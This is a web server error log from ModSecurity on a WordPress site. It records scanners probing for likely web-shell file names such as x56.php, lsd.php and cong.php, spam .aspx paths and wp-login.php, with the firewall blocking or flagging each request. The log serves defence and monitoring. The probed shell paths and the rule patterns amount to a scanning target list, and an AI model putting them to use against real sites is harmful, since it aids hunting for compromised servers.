[Tue Feb 24 22:21:29.491553 2026] [:error] [pid 37884:tid 37889] [client 147.135.253.34:40224] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZ2z6f08KJo-7FmKlnBXogAAA0E"]
[Tue Feb 24 22:21:32.564578 2026] [:error] [pid 40456:tid 40488] [client 147.135.253.34:40226] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aZ2z7OP0ojUS1IXv0AXIOwAAAYE"]
[Tue Feb 24 22:21:36.010858 2026] [:error] [pid 37918:tid 37939] [client 147.135.253.34:52586] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aZ2z8DB7WIlOit9GZHhHdgAAA48"]
[Tue Feb 24 22:21:38.880052 2026] [:error] [pid 37784:tid 37786] [client 147.135.253.34:52598] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aZ2z8hhsjFGJ0bR81bdvMAAAAoA"]
[Tue Feb 24 22:21:41.711951 2026] [:error] [pid 40456:tid 40508] [client 147.135.253.34:52604] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aZ2z9eP0ojUS1IXv0AXISQAAAZU"]
[Tue Feb 24 23:02:01.306945 2026] [:error] [pid 40456:tid 40510] [client 178.62.68.225:60194] [client 178.62.68.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.62.68.225, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ29aeP0ojUS1IXv0AXU5QAAAZc"]
[Tue Feb 24 23:41:23.292830 2026] [:error] [pid 40393:tid 40420] [client 51.91.58.113:39286] [client 51.91.58.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.91.58.113, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ3Go7DZWhNc1DniCm3iRwAAAFU"]
[Tue Feb 24 23:49:40.968701 2026] [:error] [pid 34018:tid 34059] [client 152.53.103.233:35690] [client 152.53.103.233] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.53.103.233, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ3IlBGkEvccktzDf_iypwAAAM8"]
[Wed Feb 25 00:41:59.943965 2026] [autoindex:error] [pid 26872:tid 26875] [client 20.203.143.97:9208] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 00:43:45.499408 2026] [:error] [pid 26872:tid 26882] [client 20.203.143.97:48242] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x56.php"] [unique_id "aZ3VQXxLbzvRGuzwKjm-2QAAAEg"]
[Wed Feb 25 00:43:46.093845 2026] [:error] [pid 26872:tid 26897] [client 20.203.143.97:10601] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x56.php"] [unique_id "aZ3VQnxLbzvRGuzwKjm-2wAAAFc"]
[Wed Feb 25 00:43:46.832894 2026] [:error] [pid 26872:tid 26884] [client 20.203.143.97:9997] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x56.php"] [unique_id "aZ3VQnxLbzvRGuzwKjm-3wAAAEo"]
[Wed Feb 25 00:43:47.702526 2026] [:error] [pid 18850:tid 18867] [client 20.203.143.97:45865] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x56.php"] [unique_id "aZ3VQ-DBmHucoAJRnqneLQAAAA8"]
[Wed Feb 25 00:43:48.602967 2026] [:error] [pid 26872:tid 26882] [client 20.203.143.97:12078] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aZ3VRHxLbzvRGuzwKjm-5gAAAEg"]
[Wed Feb 25 00:43:49.871539 2026] [:error] [pid 18850:tid 18858] [client 20.203.143.97:10346] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aZ3VReDBmHucoAJRnqneLwAAAAY"]
[Wed Feb 25 00:43:50.749323 2026] [:error] [pid 26872:tid 26880] [client 20.203.143.97:12785] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aZ3VRnxLbzvRGuzwKjm-7QAAAEY"]
[Wed Feb 25 00:43:51.615851 2026] [:error] [pid 26872:tid 26882] [client 20.203.143.97:12739] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aZ3VR3xLbzvRGuzwKjm-8AAAAEg"]
[Wed Feb 25 00:43:52.427732 2026] [:error] [pid 18458:tid 18800] [client 20.203.143.97:12087] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/readme.php"] [unique_id "aZ3VSAuir-tBe4tUislxZwAAAoY"]
[Wed Feb 25 00:43:53.328102 2026] [:error] [pid 18447:tid 18775] [client 20.203.143.97:4589] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/readme.php"] [unique_id "aZ3VSc-TpHVc8yBj5eah5gAAAgw"]
[Wed Feb 25 00:43:53.945416 2026] [:error] [pid 26872:tid 26884] [client 20.203.143.97:4568] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/readme.php"] [unique_id "aZ3VSXxLbzvRGuzwKjm-9gAAAEo"]
[Wed Feb 25 00:43:54.482589 2026] [:error] [pid 26872:tid 26885] [client 20.203.143.97:8793] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/readme.php"] [unique_id "aZ3VSnxLbzvRGuzwKjm--gAAAEs"]
[Wed Feb 25 00:43:55.800170 2026] [:error] [pid 26872:tid 26894] [client 20.203.143.97:13990] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x50.php"] [unique_id "aZ3VS3xLbzvRGuzwKjm_AAAAAFQ"]
[Wed Feb 25 00:43:57.071849 2026] [:error] [pid 18447:tid 18784] [client 20.203.143.97:9584] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x50.php"] [unique_id "aZ3VTc-TpHVc8yBj5eah6QAAAhU"]
[Wed Feb 25 00:43:58.395269 2026] [:error] [pid 18458:tid 18811] [client 20.203.143.97:10293] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x50.php"] [unique_id "aZ3VTguir-tBe4tUislxaQAAApA"]
[Wed Feb 25 00:43:59.544029 2026] [:error] [pid 26872:tid 26887] [client 20.203.143.97:9583] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x50.php"] [unique_id "aZ3VT3xLbzvRGuzwKjm_BgAAAE0"]
[Wed Feb 25 00:44:01.280888 2026] [:error] [pid 18850:tid 18867] [client 20.203.143.97:5047] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fv.php"] [unique_id "aZ3VUeDBmHucoAJRnqneOwAAAA8"]
[Wed Feb 25 00:44:05.183311 2026] [:error] [pid 26872:tid 26895] [client 20.203.143.97:12310] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fv.php"] [unique_id "aZ3VVXxLbzvRGuzwKjm_EwAAAFU"]
[Wed Feb 25 00:44:07.940828 2026] [:error] [pid 18458:tid 18796] [client 20.203.143.97:12882] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fv.php"] [unique_id "aZ3VVwuir-tBe4tUislxbQAAAoM"]
[Wed Feb 25 00:44:12.558705 2026] [:error] [pid 18458:tid 18802] [client 20.203.143.97:12574] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fv.php"] [unique_id "aZ3VXAuir-tBe4tUislxdgAAAog"]
[Wed Feb 25 00:44:18.771196 2026] [:error] [pid 26872:tid 26876] [client 20.203.143.97:12879] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "aZ3VYnxLbzvRGuzwKjm_GQAAAEI"]
[Wed Feb 25 00:44:21.113218 2026] [:error] [pid 18850:tid 18875] [client 20.203.143.97:11698] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "aZ3VZeDBmHucoAJRnqneSAAAABc"]
[Wed Feb 25 00:44:22.337480 2026] [:error] [pid 26872:tid 26888] [client 20.203.143.97:11696] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "aZ3VZnxLbzvRGuzwKjm_IQAAAE4"]
[Wed Feb 25 00:44:24.553755 2026] [:error] [pid 18850:tid 18859] [client 20.203.143.97:12328] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "aZ3VaODBmHucoAJRnqneTQAAAAc"]
[Wed Feb 25 00:44:26.098816 2026] [:error] [pid 18447:tid 18764] [client 20.203.143.97:22826] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lsd.php"] [unique_id "aZ3Vas-TpHVc8yBj5eah8QAAAgE"]
[Wed Feb 25 00:44:26.968331 2026] [:error] [pid 26872:tid 26889] [client 20.203.143.97:12383] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lsd.php"] [unique_id "aZ3VanxLbzvRGuzwKjm_LAAAAE8"]
[Wed Feb 25 00:44:27.833592 2026] [:error] [pid 18447:tid 18767] [client 20.203.143.97:9516] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lsd.php"] [unique_id "aZ3Va8-TpHVc8yBj5eah8wAAAgQ"]
[Wed Feb 25 00:44:28.721012 2026] [:error] [pid 18441:tid 18722] [client 20.203.143.97:22817] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lsd.php"] [unique_id "aZ3VbBYF1wpOnXIaHlOKtwAAAM4"]
[Wed Feb 25 00:44:29.903157 2026] [:error] [pid 18850:tid 18863] [client 20.203.143.97:8377] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "aZ3VbeDBmHucoAJRnqneUQAAAAs"]
[Wed Feb 25 00:44:30.762976 2026] [:error] [pid 26872:tid 26890] [client 20.203.143.97:12549] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "aZ3VbnxLbzvRGuzwKjm_OAAAAFA"]
[Wed Feb 25 00:44:31.662194 2026] [:error] [pid 18850:tid 18864] [client 20.203.143.97:8604] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "aZ3Vb-DBmHucoAJRnqneVAAAAAw"]
[Wed Feb 25 00:44:32.316669 2026] [:error] [pid 26872:tid 26880] [client 20.203.143.97:4994] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "aZ3VcHxLbzvRGuzwKjm_PwAAAEY"]
[Wed Feb 25 00:44:32.834586 2026] [:error] [pid 18850:tid 18865] [client 20.203.143.97:8591] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsd.php"] [unique_id "aZ3VcODBmHucoAJRnqneVgAAAA0"]
[Wed Feb 25 00:44:33.399070 2026] [:error] [pid 26872:tid 26874] [client 20.203.143.97:9569] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsd.php"] [unique_id "aZ3VcXxLbzvRGuzwKjm_QgAAAEA"]
[Wed Feb 25 00:44:34.043270 2026] [:error] [pid 26872:tid 26884] [client 20.203.143.97:9529] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsd.php"] [unique_id "aZ3VcnxLbzvRGuzwKjm_QwAAAEo"]
[Wed Feb 25 00:44:34.530556 2026] [:error] [pid 26872:tid 26879] [client 20.203.143.97:22878] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsd.php"] [unique_id "aZ3VcnxLbzvRGuzwKjm_RAAAAEU"]
[Wed Feb 25 00:44:35.031868 2026] [:error] [pid 18850:tid 18867] [client 20.203.143.97:17143] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gtc.php"] [unique_id "aZ3Vc-DBmHucoAJRnqneXQAAAA8"]
[Wed Feb 25 00:44:35.584818 2026] [:error] [pid 18850:tid 18858] [client 20.203.143.97:25616] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gtc.php"] [unique_id "aZ3Vc-DBmHucoAJRnqneYAAAAAY"]
[Wed Feb 25 00:44:36.631332 2026] [:error] [pid 18458:tid 18804] [client 20.203.143.97:5028] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gtc.php"] [unique_id "aZ3VdAuir-tBe4tUislxgwAAAoo"]
[Wed Feb 25 00:44:39.813655 2026] [:error] [pid 26872:tid 26890] [client 20.203.143.97:12876] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gtc.php"] [unique_id "aZ3Vd3xLbzvRGuzwKjm_TgAAAFA"]
[Wed Feb 25 00:46:52.070639 2026] [:error] [pid 18850:tid 18875] [client 20.203.143.97:11999] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aZ3V_ODBmHucoAJRnqnfMgAAABc"]
[Wed Feb 25 00:46:54.373430 2026] [:error] [pid 26872:tid 26898] [client 20.203.143.97:17917] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aZ3V_nxLbzvRGuzwKjnAfgAAAFg"]
[Wed Feb 25 00:46:56.181404 2026] [:error] [pid 26872:tid 26877] [client 20.203.143.97:26169] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aZ3WAHxLbzvRGuzwKjnAhgAAAEM"]
[Wed Feb 25 00:46:57.487261 2026] [:error] [pid 26872:tid 26896] [client 20.203.143.97:11979] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aZ3WAXxLbzvRGuzwKjnAjQAAAFY"]
[Wed Feb 25 00:46:59.332114 2026] [:error] [pid 18850:tid 18860] [client 20.203.143.97:11922] [client 20.203.143.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aZ3WA-DBmHucoAJRnqnfNQAAAAg"]
[Wed Feb 25 00:47:00.613440 2026] [:error] [pid 26872:tid 26898] [client 20.203.143.97:11935] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aZ3WBHxLbzvRGuzwKjnAoAAAAFg"]
[Wed Feb 25 00:47:01.183352 2026] [:error] [pid 26872:tid 26879] [client 20.203.143.97:11111] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aZ3WBXxLbzvRGuzwKjnAowAAAEU"]
